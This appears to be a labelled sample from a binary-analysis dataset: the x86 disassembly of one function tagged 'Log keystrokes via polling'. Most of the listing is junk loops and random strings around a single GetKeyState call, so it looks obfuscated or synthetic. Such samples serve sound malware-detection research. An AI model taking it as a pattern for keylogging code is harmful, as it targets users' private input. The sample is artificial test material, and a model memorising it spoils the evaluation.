Function at 0x10031d8e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006505e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xb8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10031de3
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x88], eax
push dword [ebp - 0x88]
push 1
push 0x739f
push 0x2ada
call fcn.10032114
add esp, 0x10
jmp 0x10032103
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x44], 0x118f
mov dword [ebp - 0x58], str.nplidsn_jee_nknr_yiw_bxlex_rsuwhie_rmlz_lyb_mdjyjs_apwqvzdf_aszcp_pkljb
cmp dword [ebp - 0x44], 0x13bf
jle 0x10031ec7
and dword [ebp - 0x20], 0
jmp 0x10031e11
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x23cd
jge 0x10031ec7
and dword [ebp - 0x18], 0
jmp 0x10031e2b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x46e0
jge 0x10031ec2
and dword [ebp - 0x2c], 0
jmp 0x10031e45
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x5d43
jge 0x10031ebd
and dword [ebp - 0x28], 0
jmp 0x10031e5b
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x37b5
jge 0x10031ebb
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
shl eax, cl
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
shl edx, cl
xor eax, edx
cdq
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xc8]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
call fcn.10004ac4
push eax
call fcn.1004cf6c
pop ecx
lea ecx, [ebp - 0xc8]
call fcn.10004aba
jmp 0x10031e54
jmp 0x10031e3e
jmp 0x10031e24
jmp 0x10031e0a
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x68], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x44], 0x101a
jge 0x10031ee3
push dword [ebp - 0x58]
call fcn.1004cf6c
pop ecx
jmp 0x10031eff
or dword [ebp - 4], 0xffffffff
jmp 0x10031f09
lea eax, [ebp + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x98]
movzx eax, byte [eax]
test eax, eax
je 0x10031f59
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
jmp 0x10032103
mov dword [ebp - 0x34], 0x3320
mov dword [ebp - 0xb0], str.sxaepndj_bfokeyxc_fjyvwyqk_yqsf_wlp_ejg_awgfow_myqckukfh_cjaequhl_vnxkdcwa_qarspi_nihkhrw_khglhwtl_wnvxwijit
cmp dword [ebp - 0x34], 0x3467
jle 0x10031fd9
push 0x197d
call dword [sym.imp.USER32.dll_GetKeyState]
and dword [ebp - 0x1c], 0
jmp 0x10031f8b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2e4
jge 0x10031fd9
and dword [ebp - 0x24], 0
jmp 0x10031fa1
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x4ed0
jge 0x10031fd7
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
shl eax, cl
cdq
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], edx
push dword [ebp - 0xa8]
push dword [ebp - 0xac]
mov ecx, 0x10080db8
call fcn.10004c02
jmp 0x10031f9a
jmp 0x10031f84
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x34], 0x30bd
jge 0x10031fff
mov edx, dword [ebp - 0xb0]
mov ecx, 0x10080db8
call fcn.10007110
jmp 0x1003201b
or dword [ebp - 4], 0xffffffff
jmp 0x10032025
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
cmp ecx, dword [eax]
jge 0x1003207c
mov dword [ebp - 0x38], 1
jmp 0x10032080
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
cmp dword [ebp - 0x38], eax
jge 0x10032093
mov dword [ebp - 0x30], 1
jmp 0x10032097
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x30]
jg 0x100320b2
mov dword [ebp - 0x40], 1
jmp 0x100320b6
and dword [ebp - 0x40], 0
cmp dword [ebp - 0x40], 0xfffffff9
jge 0x100320c5
mov dword [ebp - 0x48], 1
jmp 0x100320c9
and dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x48]
sub ecx, dword [eax]
cmp ecx, 0xe9e
jl 0x100320e5
mov dword [ebp - 0x84], 1
jmp 0x100320ec
and dword [ebp - 0x84], 0
push 1
mov ecx, dword [ebp - 0x8c]
call fcn.10004e93
mov ecx, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ecx], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret